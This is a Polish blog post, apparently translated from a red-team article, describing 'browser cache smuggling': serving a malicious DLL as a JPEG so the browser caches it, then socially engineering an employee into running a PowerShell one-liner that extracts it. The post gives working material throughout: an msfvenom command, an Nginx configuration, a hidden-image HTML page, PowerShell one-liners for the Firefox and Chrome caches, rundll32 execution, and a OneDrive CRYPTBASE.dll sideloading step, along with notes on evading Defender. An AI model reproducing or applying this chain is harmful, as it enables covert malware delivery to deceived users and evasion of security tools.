Wpis o tym w jak sprytny sposób dostarczyć c2 na komputer użytkownika
Podczas spotkań zespołu Red Team często korzystam z inżynierii społecznej, aby nakłonić jednego z pracowników mojego klienta do uruchomienia mojego złośliwego kodu na swoich komputerach, co umożliwi mi uzyskanie dostępu do jego systemu. Typowe podejście, jakie stosuję, polega na tym, aby do nich zadzwonić, powiedzieć, że jestem z pomocy technicznej IT, a następnie poprosić ich, aby odwiedzili oficjalnie wyglądającą stronę internetową zawierającą kod PowerShell, który muszą uruchomić, aby naprawić niektóre wymyślone problem.
Jednak to podejście jest dobrze znane dostawcom zabezpieczeń i obecnie prawie wszystkie produkty chroniące przed złośliwym oprogramowaniem i EDR będą blokować lub przynajmniej ostrzegać o każdym podejrzanie wyglądającym kodzie PowerShell, zwłaszcza o kodzie, który pobiera ładunek, a następnie go wykonuje. Chciałem znaleźć inny, bardziej ukryty sposób dostarczania ładunku docelowym użytkownikom.
Zatem pierwsze pytanie, jakie sobie zadałem, brzmiało: jakie mechanizmy są używane na co dzień przez system operacyjny, którymi mógłbym manipulować w celu dostarczania złośliwego oprogramowania? I wtedy przyszło mi do głowy: pamięć podręczna przeglądarki!
W tym poście na blogu przedstawię technikę, dzięki której osoba atakująca namawia docelowego pracownika do odwiedzenia witryny internetowej za pomocą inżynierii społecznej. Następnie witryna internetowa dyskretnie umieści ładunek DLL w pamięci podręcznej przeglądarki pod postacią obrazu. W tej samej witrynie internetowej użytkownik został zaprojektowany społecznie, aby uruchomić ładnie wyglądający program PowerShell z jedną linijką, który przenosi ładunek DLL do folderu, gdzie zostanie automatycznie wykonany. Pokażę także kilka innych interesujących rzeczy, które znalazłem na temat Defendera podczas przeprowadzania tych badań.
I/Co to jest pamięć podręczna przeglądarki?
Kiedy poruszasz się po Internecie, Twoja przeglądarka ładuje mnóstwo plików, takich jak obrazy, filmy, CSS, JavaScript i tak dalej. Dwukrotne załadowanie tej samej strony oznacza, że przeglądarka dwukrotnie pobierze te same pliki. Jest to bezużyteczne i zajmuje dużo zasobów procesora oraz przepustowości sieci.
Nowoczesne przeglądarki implementują mechanizm, który pozwala im przechowywać te pliki lokalnie, dzięki czemu nie trzeba ich za każdym razem pobierać. Mechanizm ten nazywany jest pamięcią podręczną przeglądarki.
Jeśli przyjrzymy się, jak działa Firefox w systemie Windows, zobaczymy, że w AppData/Local znajduje się katalog Firefoksa, który przechowuje coś, co wygląda jak pliki z pamięci podręcznej:
Jest tam sporo plików, około 300MB:
Teraz wyczyśćmy ten katalog i przejdźmy do witryny https://orangecyberdefense.com . Podczas nawigacji zobaczysz, że nowe pliki są dodawane:
Wygląda na to, że znaleźliśmy mechanizm, który automatycznie pobiera pliki!
Jednak przeglądarki nie będą buforować dowolnego pliku dostarczonego przez serwer. Będzie buforować zasoby statyczne – pliki, których zawartość nie będzie się często zmieniać. W związku z tym nasze przeglądarki będą głównie buforować obrazy, filmy, a czasami JS/CSS. Byłoby wspaniale, gdybyśmy mogli w jakiś sposób oszukać przeglądarkę, aby buforowała pliki zawierające ładunek binarny, taki jak plik DLL lub EXE. Jak to zrobimy?
II/ Manipulowanie mechanizmami pamięci podręcznej przeglądarek
Aby wykryć, które pliki zapisać w pamięci podręcznej, przeglądarki będą głównie polegać na nagłówku Content-Type wysyłanym przez serwer WWW. Przykładowo na poniższym zrzucie ekranu widać, że plik „avatar.jpg” został wysłany przez serwer, a jego typ zawartości to „image/jpeg”:
W systemie Linux serwery WWW zazwyczaj używają pliku /etc/mime.types, aby wiedzieć, jaki typ zawartości powinien zwrócić dla określonego pliku. Zawartość pliku /etc/mime.types zazwyczaj wygląda następująco:
Ten plik zawiera wartości typu zawartości powiązane z rozszerzeniem plików. W związku z tym, gdy serwer WWW (w tym przypadku Nginx) zauważy, że żądany jest plik avatar.jpg, sprawdzi plik mime.types, aby określić, jaki jest typ zawartości rozszerzenia .jpg i sprawdzi, czy jest on obraz/jpeg:
Jako atakujący możemy zastąpić te wartości. Pamiętaj, że naszym celem jest wymuszenie pobrania pliku DLL lub EXE. Aby to zrobić, będziemy musieli po prostu zmienić typ zawartości związany z plikami DLL i EXE z application/x-msdos-program na image/jpeg. Można to po prostu zrobić za pomocą następującego wiersza w konfiguracji Nginx:
types { } default_type image/jpeg;
To unieważnia mapowanie typu MIME w pamięci, a następnie ustawia domyślny typ zawartości na „image/jpg” dla nieznanych typów (tj. wszystkich plików, ponieważ najpierw znukowaliśmy mapowania). Zamknięcie tego w bloku „lokalizacji”, który pasuje tylko do Twojego ładunku, pozwoli osiągnąć pożądany efekt bez przekształcania wszystkiego w „obraz”. Zobacz część III poniżej, aby zapoznać się z pełną konfiguracją w kontekście.
Następnie będziemy musieli wygenerować dwie rzeczy:
- Biblioteka DLL, w tym przypadku prosta, która uruchomi program calc.exe wygenerowany przez MSFVenom:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
- Strona HTML, na której biblioteka DLL jest osadzona w znaczniku img:
<html>
<body>
<h1>Browser cache smuggling</h1>
<img src="calc.dll" style="display: none;"></img>
</body>
</html>
Następnie opróżniamy pamięć podręczną Firefoksa, ponownie ładujemy stronę HTML i sprawdzamy, czy plik został pobrany:
Biorąc pod uwagę rozmiar plików w pamięci podręcznej, możemy stwierdzić, że plik zaczynający się od 75E… Jest naszą biblioteką Calc DLL. Dla pewności możemy załadować w Firefoksie następującą stronę:
about:cache?storage=disk
To lista wszystkich plików zapisanych w pamięci podręcznej w przeglądarce Firefox. A jeśli przeszukamy ciąg, zobaczymy, że plik calc.dll został zapisany w pamięci podręcznej:
Oznacza to, że biblioteka DLL została skutecznie dostarczona do systemu. A co jeśli powiem Ci, że ta metoda dostawy nie jest oznaczana przez program antywirusowy? Tak! Defender działa na komputerze z systemem Windows, który jest moim celem i nic nie krzyczy. Wiem dlaczego? Ponieważ kiedy biblioteka DLL została pobrana i zapisana w pamięci podręcznej, jej nazwa została zmieniona na losową nazwę pliku bez rozszerzenia:
W związku z tym Defender nie skanuje pliku, a nasza biblioteka DLL może tam pozostać tak długo, jak tego potrzebujemy!
III/ A co z wykonaniem?
Typowym sposobem, aby to zadziałało, jest przeprowadzenie inżynierii społecznej użytkownika i poinformowanie go, że coś jest nie tak z jego systemem i że musi uruchomić polecenie, aby to naprawić. Mówimy im, że polecenie znajduje się na oficjalnie wyglądającej stronie internetowej. Po załadowaniu strony biblioteka DLL zostaje zapisana w pamięci podręcznej systemu. Użytkownik pobiera polecenie ze strony internetowej i uruchamia je, co powoduje wykonanie już zapisanej w pamięci podręcznej biblioteki DLL. Dzięki takiemu podejściu zapewniamy, że biblioteka DLL będzie nadal buforowana, gdy użytkownik uruchomi polecenie.
Kluczową różnicą między tym podejściem a inżynierią społeczną polegającą na uruchomieniu przez użytkownika polecenia C2 stager jest to, że polecenie, które wydajemy użytkownikowi, nie pobiera złośliwego ładunku, ponieważ znajduje się on już w systemie i jest przechowywany w pamięci podręcznej przeglądarki. Pomysł jest taki, aby polecenie wyglądało jak najłagodniej, aby uniknąć podejrzeń lub wykrycia, i pozwoliło przeglądarce Firefox wykonać brudną robotę poprzez buforowanie pliku DLL złośliwego oprogramowania.
Aby to zadziałało, potrzebujemy sposobu na znalezienie naszej biblioteki DLL pomiędzy wszystkimi innymi plikami buforowanymi przez przeglądarkę.
Jeśli przyjrzymy się bliżej rozmiarowi buforowanej biblioteki DLL i rozmiarowi samej biblioteki DLL, zobaczymy, że buforowana biblioteka DLL jest nieco większa:
Powodem jest to, że plik buforowany to nie tylko biblioteka DLL, to plik zawierający zarówno zawartość pliku DLL, jak i metadane. Wśród metadanych znajduje się odpowiedź HTTP serwera Nginx, zawierająca kilka nagłówków HTTP:
W związku z tym wszystko, co musimy zrobić, to utworzyć flagę w odpowiedzi HTTP serwera, która pozwoli nam zidentyfikować naszą bibliotekę DLL. Możemy to osiągnąć modyfikując plik konfiguracyjny Nginx w następujący sposób:
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
# Adding the HTTP header TAG used to find the real DLL
location /calc.dll {
# Override the mime type
types { } default_type image/jpeg;
add_header Tag DLLHERE;
}
}
Jeśli ponownie załadujemy stronę HTML, zobaczymy, że gdy serwer zostanie poproszony o udostępnienie pliku calc.dll, jego odpowiedź zawiera dodatkowy nagłówek HTTP oznaczający naszą bibliotekę DLL:
Używając PowerShell lub wsadowo, możemy wyszukać ten konkretny ciąg, aby znaleźć naszą bibliotekę DLL w lokalnym katalogu pamięci podręcznej:
W tym momencie wiemy, gdzie znajduje się nasza biblioteka DLL, więc spróbujmy ją wykonać.
Robiąc to badanie, zdałem sobie sprawę, że gdy tylko zmieniłem nazwę pliku pamięci podręcznej na „calc.dll”, program antywirusowy oznaczył go jako złośliwy (msfvenom, wiesz…). Próbowałem wielu rzeczy, dopóki nie zdałem sobie sprawy, że rundll32 może uruchomić bibliotekę DLL, która nie ma rozszerzenia .dll:
Wszystko, co musisz zrobić, to dodać kropkę do nazwy pliku w pamięci podręcznej, a rundll32 go wykona. Co dziwniejsze, widzieliśmy wcześniej, że buforowany plik to nie tylko biblioteka DLL, ale także metadane, jednak rundll32 nie przejmuje się tym i wykona bibliotekę DLL.
Nakłonienie użytkownika do wykonania rundll32 może wywołać pewne alarmy, nawet jeśli biblioteka DLL znajduje się już w systemie plików użytkownika. Alternatywnym podejściem może być po prostu przeniesienie istniejącej biblioteki DLL na miejsce, tak aby została wykonana, gdy użytkownik otworzy inną aplikację. Powoduje to znacznie łagodniejsze polecenie, które samo w sobie niczego nie pobiera ani nie wykonuje, a jedynie przenosi istniejący plik. Jednak to podejście wymaga, aby złośliwa biblioteka DLL nie była statycznie wykrywana przez program AV.
Następująca linijka programu PowerShell będzie szukać biblioteki DLL w katalogu pamięci podręcznej i przeniesie ją do odpowiedniego miejsca, takiego jak folder OneDrive, w celu uruchomienia ataku polegającego na ładowaniu strony DLL:
foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}
Przy następnym uruchomieniu OneDrive Twoje złośliwe oprogramowanie też będzie!
IV/ A co z Google Chrome
Sposób, w jaki Google Chrome przechowuje pliki w swojej pamięci podręcznej, jest nieco bardziej skomplikowany w wykorzystaniu. Rzeczywiście, pliki nie są przechowywane pojedynczo, są one przechowywane w wielu bazach danych znajdujących się w folderze %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data:
W związku z tym pobieranie plików z pamięci podręcznej oznacza manipulowanie bazą danych, co nie jest łatwe, szczególnie w przypadku programu PowerShell. W tym momencie pomyślałem, że nie da się użyć tej techniki dla Chrome, dopóki @shifttymike nie przesłał mi tej wiadomości:
I to jest genialne! Oto jak połączyłem wszystko w jedną całość. Najpierw tworzymy bibliotekę DLL za pomocą msfvenom:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
Następnie przygotowujemy ciąg znaków, który powie nam, gdzie zaczyna się biblioteka DLL:
sed -i "1s/^/INDLL/" calc.dll
I dołącz ciąg, aby powiedzieć nam, gdzie się kończy:
echo -n "OUTDLL" >> calc.dll
W tym momencie wiemy, że nasza biblioteka DLL znajduje się pomiędzy znacznikami INDLL i OUTDLL w jednej z baz danych pamięci podręcznej przeglądarki Chrome, wystarczy uruchomić kod PowerShell, który będzie w stanie przeanalizować bazy danych przeglądarki Chrome i wyodrębnić z nich bibliotekę DLL. Można to zrobić za pomocą następującego onelinera PowerShell:
$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}
I faktycznie, nasza biblioteka DLL zostaje znaleziona i wyodrębniona:
Następnie możemy użyć rundll32, aby to wykonać:
Lub przenieś bibliotekę DLL do określonego folderu, jak pokazano wcześniej.
IV/ Zakończenie
O ile wiem, nie widziałem jeszcze opisanej metody dostarczania złośliwego oprogramowania. Dla mnie jest to całkiem fajna sztuczka, ponieważ pozwala operatorowi czerwonego zespołu wymusić pobranie złośliwego oprogramowania poprzez samo wysłanie adresu URL do celu. Nie ma potrzeby nakłaniania celu do pobrania złośliwego pliku (co może być podejrzane). Jedyne, o co musisz zadbać, to nakłonić użytkownika do uruchomienia ładnie wyglądającej aplikacji Power Shell one-liner. Moim zdaniem o wiele bardziej dyskretny ;)!
Ostatnia czerwona wskazówka dla zespołu: jeśli kiedykolwiek znajdziesz komputer lub serwer, na którym zainstalowana jest przeglądarka, możesz zajrzeć do folderu pamięci podręcznej i przeczytać buforowane pliki. Dzięki metadanym będziesz mógł zebrać nazwy hostów DNS, które pozwolą Ci odkryć potencjalne cele w sieci wewnętrznej (hej, vSphere :D)!
Miłego hackowania!
Wpis pochodzi z https://blog.whiteflag.io/blog/browser-cache-smuggling/
Brak komentarzy:
Prześlij komentarz
Proszę zostaw swój komentarz w celu dopowiedzenia tego czego ja nie wiedziałem lub wywołania ciekawej dyskusji. Wprowadziłem moderowanie komentarzy ze względu na dużą popularność bloga wśród różnych SEO botów :)